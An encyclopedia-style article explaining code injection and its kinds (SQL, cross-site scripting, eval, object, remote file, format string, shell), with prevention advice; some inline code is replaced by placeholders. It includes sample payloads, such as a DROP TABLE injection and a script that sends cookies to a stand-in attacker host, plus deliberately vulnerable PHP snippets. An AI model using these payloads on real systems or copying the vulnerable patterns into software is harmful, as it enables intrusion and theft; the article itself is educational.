Code injection
Code injection is the exploitation of a computer bug that is caused by processing invalid data. The injection is used by an attacker to introduce (or "inject") code into a vulnerable computer program and change the course of execution. The result of successful code injection can be disastrous, for example, by allowing computer viruses or computer worms to propagate. Code injection vulnerabilities occur when an application sends untrusted data to an interpreter. Injection flaws are most often found in SQL, LDAP, XPath, NoSQL queries, OS commands, XML parsers, SMTP headers, program arguments, etc. Injection flaws tend to be  easier to discover when examining source code than via testing. Scanners and fuzzers can help find injection flaws. Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover. Certain types of code injection are errors in interpretation, giving special meaning to user input. Similar interpretation errors exist outside the world of computer science such as the comedy routine "Who's on First?". In the routine, there is a failure to distinguish proper names from regular words. Likewise, in some types of code injection, there is a failure  to distinguish user input from system commands. Code injection techniques are popular in system hacking or cracking to gain information, privilege escalation or unauthorized access to a system. Code injection can be used malevolently for many purposes, including: In 2008, 5.66% of all vulnerabilities reported that year were classified as Code Injection, the highest year on record. In 2015, this had decreased to 0.77%. Benign and unintentional use. Code injection may be used with good intentions; for example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain  way without any malicious intent. Code injection could, for example: Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example: Another benign use of code injection could be the discovery of injection flaws themselves, with the intention of fixing these flaws. This is known as a white hat penetration test. Preventing problems. To prevent code injection problems, utilize secure input and output handling, such as: The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side  application. Other approaches must be taken, however, when dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are: Examples. SQL injection. SQL injection takes advantage of the syntax of SQL to inject malicious commands that can read or modify a database, or compromise the meaning of the original query. For example, consider a web page that has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query  to check the password against the list of user names: SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password' If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (codice_4) in the Password field, then the resulting query will look like this: SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'password' OR '1'='1' In the example above, "Password" is assumed to be blank or some innocuous string. "codice_5" will always be true and many  rows will be returned, thereby allowing access. The technique may be refined to allow multiple statements to run, or even to load up and run external programs. Assume a query with the following format: SELECT User.UserID FROM User WHERE User.UserID = ' " + UserID + " ' AND User.Pwd = ' " + Password + " ' If an adversary has the following for inputs: codice_6 codice_7 the query will be parsed to be: SELECT User.UserID FROM User WHERE User.UserID = ";DROP TABLE User; --'AND Pwd = "OR"=' The result is that the table codice_8 will be removed from the database. This  occurs because the codice_9 symbol signifies the end of one command and the start of a new one. codice_10 signifies the start of a comment. Cross-site scripting. Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users, and typically receives messages such as: However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as: Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script> If another user  views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code. HTML and script injection is a popular subject, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting. Many of these problems are related to erroneous assumptions of  what input data is possible, or the effects of special data. Dynamic evaluation vulnerabilities. An eval() injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call. $myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';'); The argument of "codice_11" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "codice_12". Object injection. PHP allows serialization and  deserialization of whole objects. If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks. Such an attack on Joomla was found in 2013. Remote file injection. Consider this PHP program (which includes a file specified by request): <?php $color = 'blue'; if (isset($_GET['color'])) require($color . '.php'); The example might be read as only color-files like codice_13 and codice_14 could be loaded, while attackers might provide codice_15 causing PHP to load the external file. Format specifier injection. Format string bugs most commonly appear when a programmer  wishes to print a string containing user supplied data. The programmer may mistakenly write codice_16 instead of codice_17. The first version interprets codice_18 as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array codice_19 which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string. If the user input is filled with a list of format specifiers such as codice_20  , then codice_21will start reading from the stack. Eventually, one of the codice_22 format specifier will access the address of codice_19 , which is on the stack, and print codice_24 to the screen. Shell injection. Shell injection (or command injection) is named after Unix shells, but applies to most systems which allow software to programmatically execute a command line. Here is an example vulnerable tcsh script: if ($1 == 1) echo it matches If the above is stored in the executable file codice_25, the shell command codice_26 will attempt to execute the injected shell command codice_27 instead of comparing the  argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter in order to defend against an attack. Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are codice_28, codice_29, and codice_30. Client–server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to  run an external program called codice_31 to replace a word the user sent with some other word. <?php passthru("/bin/funnytext " . $_GET['USER_INPUT']); The codice_32 in the above composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive): Some languages offer functions to properly escape or quote strings that  are used to construct shell commands: However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended. A safer alternative is to use APIs that execute external programs directly, rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells, and/or to be more cumbersome/verbose compared to concise shell-syntax.